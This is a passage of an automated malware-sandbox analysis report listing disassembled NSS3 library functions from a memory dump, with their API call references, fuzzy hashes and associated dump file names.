Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: e1d3a500d944eea0cbc5740427aaea387d59980630367e3f7d82b79b7f906c93
Instruction ID: 119bc0370f1be7aba77b4c4b7939fd09dfbc994d042f511e9bb8f30b8b63665e
Opcode Fuzzy Hash: e1d3a500d944eea0cbc5740427aaea387d59980630367e3f7d82b79b7f906c93
Instruction Fuzzy Hash: D531E4B1A006059BEB209F2ACD44B667BB8FB46318F140539EC5A87E51D731E914CBE1

Function 6C88A530 Relevance: 7.6, APIs: 5, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C88A55C
PR_IntervalNow.NSS3 ref: 6C88A573
PR_IntervalNow.NSS3 ref: 6C88A5A5
_PR_MD_UNLOCK.NSS3(?), ref: 6C88A603

Part of subcall function 6C839890: TlsGetValue.KERNEL32(?,?,?,6C8397EB), ref: 6C83989E

_PR_MD_UNLOCK.NSS3(?), ref: 6C88A636

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Interval$CriticalEnterSectionValue
String ID:
API String ID: 959321092-0
Opcode ID: 60ab05b7ec14df5256f6cb4b9f672be7e41e9a17aa802d0ca63fb6b45122d990
Instruction ID: 87e7d0e767a5b7ae499e11ee6f481dd2cbd1733055e2ab65743b7367a2639609
Opcode Fuzzy Hash: 60ab05b7ec14df5256f6cb4b9f672be7e41e9a17aa802d0ca63fb6b45122d990
Instruction Fuzzy Hash: CA3150B16022158FCB20DFA9C68069AB7B5BF44319B158975D8189BFD6E730EC84CFD0

Function 6C7986D0 Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C798716
TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C798727
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C79873B
PR_Unlock.NSS3(?), ref: 6C79876F
PR_SetError.NSS3(00000000,00000000), ref: 6C798787

Part of subcall function 6C7979F0: memcpy.VCRUNTIME140(?,6C89AB28,000000FC), ref: 6C797A1E
Part of subcall function 6C7979F0: PR_SetError.NSS3(FFFFE001,00000000), ref: 6C797A48

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Error$AuthenticateCriticalEnterK11_SectionUnlockValuememcpy
String ID:
API String ID: 3710639568-0
Opcode ID: f5b756817519979309b423836c0e193e4bb7c0eb54516e239c66a7beec6cbcf2
Instruction ID: 906884a9700432306af40359587a1f0fb15177e99c228c55fc22dfab30772c66
Opcode Fuzzy Hash: f5b756817519979309b423836c0e193e4bb7c0eb54516e239c66a7beec6cbcf2
Instruction Fuzzy Hash: 39314976A00200ABDF109F78ED45E9A77B9EF45318F154035FD099BB12EB31E904C791

Function 6C7744D0 Relevance: 7.6, APIs: 5, Instructions: 90COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3 ref: 6C7744FF

Part of subcall function 6C7D07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C778298,?,?,?,6C76FCE5,?), ref: 6C7D07BF
Part of subcall function 6C7D07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7D07E6
Part of subcall function 6C7D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7D081B
Part of subcall function 6C7D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7D0825

SECOID_FindOID_Util.NSS3(?), ref: 6C774524
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C774537
CERT_AddExtensionByOID.NSS3(00000001,?,?,?,00000001), ref: 6C774579

Part of subcall function 6C7741B0: PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C7741BE
Part of subcall function 6C7741B0: PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C7741E9
Part of subcall function 6C7741B0: SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6C774227
Part of subcall function 6C7741B0: SECITEM_CopyItem_Util.NSS3(?,-00000018,?), ref: 6C77423D

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C77459C

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Error$Alloc_ArenaCopyFindHashItem_LookupTable$ConstEqual_ExtensionItems
String ID:
API String ID: 3193526912-0
Opcode ID: ebf86faa50ffcf2ec35f4368ae81f486fcdccb540a5d46777f353d11653d57bb
Instruction ID: 818dbf27bb43d7c671f38d727b053079f9fbbe23e76990981c0bf6312134acd2
Opcode Fuzzy Hash: ebf86faa50ffcf2ec35f4368ae81f486fcdccb540a5d46777f353d11653d57bb
Instruction Fuzzy Hash: 7B21A1717056189BEF30CA699E48B7B37A89F4175CF250838AC158BA41E721E904EEB1

Function 6C77A6B0 Relevance: 7.6, APIs: 5, Instructions: 90timeCOMMON

Download Yara Rule

APIs

CERT_CheckCertValidTimes.NSS3(00000000,00000000,6C77A2FA,00000000,6C77A2FA,00000000), ref: 6C77A6E4

Part of subcall function 6C771DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C771E0B
Part of subcall function 6C771DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C771E24

TlsGetValue.KERNEL32(?,?,?,?,6C77A2FA,00000000), ref: 6C77A723
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C77A2FA,00000000), ref: 6C77A733
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C77A2FA,00000000), ref: 6C77A74C
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,6C77A2FA,00000000), ref: 6C77A774

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Choice_DecodeTime$Arena_CertCheckCriticalEnterFreeSectionTimesUnlockValidValue
String ID:
API String ID: 2353111112-0
Opcode ID: 6db97a2423bdb241dc0249b00b264dbbe187797c1331d58955b28d130e96d8bb
Instruction ID: 257212fb5438e499b70afd1ab90ee94db2436b6f351ea61a86937df3882d8034
Opcode Fuzzy Hash: 6db97a2423bdb241dc0249b00b264dbbe187797c1331d58955b28d130e96d8bb
Instruction Fuzzy Hash: 8E21D175A006089BFF309E398E4576677B89F4A278F104439EC2887B41EB34E944C6F2

Function 6C77E5E0 Relevance: 7.6, APIs: 5, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,00000000,00000000,?,6C77E755,00000000,00000004,?,?), ref: 6C77E5F5

Part of subcall function 6C7D14C0: TlsGetValue.KERNEL32 ref: 6C7D14E0
Part of subcall function 6C7D14C0: EnterCriticalSection.KERNEL32 ref: 6C7D14F5
Part of subcall function 6C7D14C0: PR_Unlock.NSS3 ref: 6C7D150D

PR_SetError.NSS3(FFFFE005,00000000,?), ref: 6C77E62C
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000,?), ref: 6C77E63E

Part of subcall function 6C7CF9A0: PORT_ArenaMark_Util.NSS3(?,00000000,-00000002,?,-00000002,?,6C76F379,?,00000000,-00000002), ref: 6C7CF9B7

PK11_HashBuf.NSS3(?,?,?,?,?,?,?,?), ref: 6C77E65C

Part of subcall function 6C79DDD0: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C79DDEC
Part of subcall function 6C79DDD0: PK11_DigestBegin.NSS3(00000000), ref: 6C79DE70
Part of subcall function 6C79DDD0: PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C79DE83
Part of subcall function 6C79DDD0: HASH_ResultLenByOidTag.NSS3(?), ref: 6C79DE95
Part of subcall function 6C79DDD0: PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C79DEAE
Part of subcall function 6C79DDD0: PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C79DEBB

SECITEM_ZfreeItem_Util.NSS3(00000000,00000000,?), ref: 6C77E68E

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: K11_Util$Digest$ArenaItem_Mark_$AllocBeginContextCriticalDestroyEnterErrorFinalFindHashResultSectionTag_UnlockValueZfree
String ID:
API String ID: 2865137721-0
Opcode ID: a3a89b2af733e35b5063d925a0347e14bcb9d919b36c9b216162f5a6fb2f6e13
Instruction ID: 52a6fee3ba8619626b573a92a72c277270fc45d9bc327e11579c8b937b9a3dba
Opcode Fuzzy Hash: a3a89b2af733e35b5063d925a0347e14bcb9d919b36c9b216162f5a6fb2f6e13
Instruction Fuzzy Hash: A821347670220D6FFF204EA59E48EAA77989F80658F154138ED19CBA51EB21DD24C3E1

Function 6C77AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C773FFF,00000000,?,?,?,?,?,6C771A1C,00000000,00000000), ref: 6C77ADA7

Part of subcall function 6C7D14C0: TlsGetValue.KERNEL32 ref: 6C7D14E0
Part of subcall function 6C7D14C0: EnterCriticalSection.KERNEL32 ref: 6C7D14F5
Part of subcall function 6C7D14C0: PR_Unlock.NSS3 ref: 6C7D150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C773FFF,00000000,?,?,?,?,?,6C771A1C,00000000,00000000), ref: 6C77ADB4

Part of subcall function 6C7D10C0: TlsGetValue.KERNEL32(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D10F3
Part of subcall function 6C7D10C0: EnterCriticalSection.KERNEL32(?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D110C
Part of subcall function 6C7D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D1141
Part of subcall function 6C7D10C0: PR_Unlock.NSS3(?,?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D1182
Part of subcall function 6C7D10C0: TlsGetValue.KERNEL32(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C773FFF,?,?,?,?,6C773FFF,00000000,?,?,?,?,?,6C771A1C,00000000), ref: 6C77ADD5

Part of subcall function 6C7CFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C7C8D2D,?,00000000,?), ref: 6C7CFB85
Part of subcall function 6C7CFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C7CFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C8994B0,?,?,?,?,?,?,?,?,6C773FFF,00000000,?), ref: 6C77ADEC

Part of subcall function 6C7CB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8A18D0,?), ref: 6C7CB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C773FFF), ref: 6C77AE3C

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 47eccb3f2b567cbcd8721cd52df6bc351038d912c4a453418890b243cf9afe7e
Instruction ID: 08f92fd602adab4699a702c689c7bc82745d90bd8108ce6f4f550c5f9e486f45
Opcode Fuzzy Hash: 47eccb3f2b567cbcd8721cd52df6bc351038d912c4a453418890b243cf9afe7e
Instruction Fuzzy Hash: 45112961E002095BFB209B699E49BBF73BCDF9126DF044638EC1996741F760E55882F2

Function 6C7D26A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

_NSSUTIL_GetSecmodName.NSS3(?,?,?,?,?), ref: 6C7D26DD

Part of subcall function 6C7D5DE0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C7D5E08
Part of subcall function 6C7D5DE0: NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C7D5E3F
Part of subcall function 6C7D5DE0: PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C7D5E5C
Part of subcall function 6C7D5DE0: free.MOZGLUE(00000000), ref: 6C7D5E7E
Part of subcall function 6C7D5DE0: free.MOZGLUE(00000000), ref: 6C7D5E97
Part of subcall function 6C7D5DE0: PORT_Strdup_Util.NSS3(secmod.db), ref: 6C7D5EA5
Part of subcall function 6C7D5DE0: _NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C7D5EBB
Part of subcall function 6C7D5DE0: NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C7D5ECB
Part of subcall function 6C7D5DE0: PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C7D5EF0

PR_SetError.NSS3(FFFFE0B1,00000000), ref: 6C7D26F8

Part of subcall function 6C81C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C81C2BF

free.MOZGLUE(00000000), ref: 6C7D3434
free.MOZGLUE(?), ref: 6C7D3448
free.MOZGLUE(?), ref: 6C7D345C

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: free$Value$L_strncasecmpParam$ConfigErrorEvaluateNameSecmodStrdup_Utilisspace
String ID:
API String ID: 3127463018-0
Opcode ID: 321e9e503c35deb589d5347950ac95c75afbe317aee63729266cc89eb172c482
Instruction ID: 011bcf7a267760d013d3a66c666fdc1c27a0f32d1203e71fdf2b3c2067ed1308
Opcode Fuzzy Hash: 321e9e503c35deb589d5347950ac95c75afbe317aee63729266cc89eb172c482
Instruction Fuzzy Hash: 0F113AF1A001188BDF20DF68DC85AEA73B8FF01354F058478E85997640EB31EA04CBE1

Function 6C8004C0 Relevance: 7.6, APIs: 5, Instructions: 63synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(ED850FC0,000000FF,?,00000000,?,6C80461B,-00000004), ref: 6C8004DF
TlsGetValue.KERNEL32(?,00000000,?,6C80461B,-00000004), ref: 6C800510
EnterCriticalSection.KERNEL32(ED850FDC), ref: 6C800520
PR_SetError.NSS3(FFFFE89D,00000000,?,00000000,?,6C80461B,-00000004), ref: 6C800534
GetLastError.KERNEL32(?,6C80461B,-00000004), ref: 6C800543

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Error$CriticalEnterLastObjectSectionSingleValueWait
String ID:
API String ID: 3052423345-0
Opcode ID: bf1a57ca882f8aede992c00b0e326e76b1c76493bd715abb4a441c68a65e75d8
Instruction ID: ac038c531e82f371203329fb910db4c0ef2b2c8adf543cd3c8383cf1696a3e3d
Opcode Fuzzy Hash: bf1a57ca882f8aede992c00b0e326e76b1c76493bd715abb4a441c68a65e75d8
Instruction Fuzzy Hash: AA11E771F041455BDB306F389E09B6536A4AF0231DF644E35E825E7D91EB31D644CB91

Function 6C788FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C790710), ref: 6C788FF1
PR_CallOnce.NSS3(6C8D2158,6C789150,00000000,?,?,?,6C789138,?,6C790710), ref: 6C789029
calloc.MOZGLUE(00000001,00000000,?,?,6C790710), ref: 6C78904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C790710), ref: 6C789066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C790710), ref: 6C789078

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: e69ea5feec6dbdce7786d1660c73eaf1a22a65413828616124cf503df5813993
Instruction ID: 606fe7c61a95441a5e77fe17d33b6a3955d830e054bedd5ca446358ae8328f41
Opcode Fuzzy Hash: e69ea5feec6dbdce7786d1660c73eaf1a22a65413828616124cf503df5813993
Instruction Fuzzy Hash: AF11442170221267EB201AADAE04A6A72ACEB927ADF400431FE48D2F40F753CD45C3E1

Function 6C772750 Relevance: 7.6, APIs: 5, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,00000000,00000000,?,?,6C7DCBA2,00000000,00000000), ref: 6C772765
SECITEM_CopyItem_Util.NSS3(00000000,00000000,6C7DCBEA,00000000,00000000), ref: 6C772783
CERT_CopyName.NSS3(00000000,0000000C,6C7DCC4A,?,?,?,00000000,00000000), ref: 6C77279F
SECITEM_CopyItem_Util.NSS3(00000000,00000014,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7727BA
PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000), ref: 6C7727D2

Part of subcall function 6C81C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C81C2BF

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CopyUtil$Item_$Alloc_ArenaErrorNameValue
String ID:
API String ID: 325484714-0
Opcode ID: 0fc6037d220975863a667b8beee6feb332bc23505dc64b7418f85d60b42de3f2
Instruction ID: 44db7706ba18523473021eea1fd8764763af6590f5f694058c9299b8517ad103
Opcode Fuzzy Hash: 0fc6037d220975863a667b8beee6feb332bc23505dc64b7418f85d60b42de3f2
Instruction Fuzzy Hash: 471148A6A00309AFE7109A329E88F97735CDFD425CF044239EE1987A02FB34E55882B1

Function 6C79CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C7B1E10: TlsGetValue.KERNEL32 ref: 6C7B1E36
Part of subcall function 6C7B1E10: EnterCriticalSection.KERNEL32(?,?,?,6C78B1EE,2404110F,?,?), ref: 6C7B1E4B
Part of subcall function 6C7B1E10: PR_Unlock.NSS3 ref: 6C7B1E76

free.MOZGLUE(?,6C79D079,00000000,00000001), ref: 6C79CDA5
PK11_FreeSymKey.NSS3(?,6C79D079,00000000,00000001), ref: 6C79CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C79D079,00000000,00000001), ref: 6C79CDCF
DeleteCriticalSection.KERNEL32(?,6C79D079,00000000,00000001), ref: 6C79CDE2
free.MOZGLUE(?), ref: 6C79CDE9

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: df330a5214dd9de1377e537f1438d28ea3609cf9d6ea71b2279b14f3fc0f5027
Instruction ID: bbc92ee1e613d4dd667bfbc419ee33e065efaa3d2c087ce8bc6c9813d87eacdb
Opcode Fuzzy Hash: df330a5214dd9de1377e537f1438d28ea3609cf9d6ea71b2279b14f3fc0f5027
Instruction Fuzzy Hash: D811A0B2B01111BBDE00AFA6EE4A996B72CBB0426E7140131E90997E12E732E524C7E1

Function 6C802CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C805B40: PR_GetIdentitiesLayer.NSS3 ref: 6C805B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C802CEC

Part of subcall function 6C81C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C81C2BF

PR_EnterMonitor.NSS3(?), ref: 6C802D02
PR_EnterMonitor.NSS3(?), ref: 6C802D1F
PR_ExitMonitor.NSS3(?), ref: 6C802D42
PR_ExitMonitor.NSS3(?), ref: 6C802D5B

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
